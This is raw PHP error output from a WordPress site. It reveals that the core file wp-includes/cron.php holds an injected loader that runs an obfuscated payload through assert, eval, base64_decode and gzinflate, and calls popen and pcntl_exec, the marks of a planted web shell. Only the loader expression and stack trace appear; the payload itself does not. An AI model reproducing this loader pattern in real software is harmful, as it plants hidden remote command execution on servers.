Warning: popen() expects exactly 2 parameters, 1 given in /var/www/nm-nordjylland.dk/public_html/wp-includes/cron.php(1) : assert code(1) : eval()'d code on line 7

Warning: assert() [function.assert]: Assertion "eval(base64_decode(gzinflate(base64_decode($payload),0)))" failed in /var/www/nm-nordjylland.dk/public_html/wp-includes/cron.php on line 1

Fatal error: Uncaught Error: Call to undefined function pcntl_exec() in /var/www/nm-nordjylland.dk/public_html/wp-includes/cron.php(1) : assert code(1) : eval()'d code:8 Stack trace: #0 /var/www/nm-nordjylland.dk/public_html/wp-includes/cron.php(1) : assert code(1): eval() #1 [internal function]: unknown() #2 /var/www/nm-nordjylland.dk/public_html/wp-includes/cron.php(1): assert('eval(base64_dec...') #3 /var/www/nm-nordjylland.dk/public_html/wp-settings.php(191): require('/var/www/nm-nor...') #4 /var/www/nm-nordjylland.dk/public_html/wp-config.php(88): require_once('/var/www/nm-nor...') #5 /var/www/nm-nordjylland.dk/public_html/wp-load.php(37): require_once('/var/www/nm-nor...') #6 /var/www/nm-nordjylland.dk/public_html/wp-blog-header.php(48): require_once('/var/www/nm-nor...') #7 /var/www/nm-nordjylland.dk/public_html/index.php(17): require('/var/www/nm-nor...') #8 {main} thrown in /var/www/nm-nordjylland.dk/public_html/wp-includes/cron.php(1) : assert code(1) : eval()'d code on line 8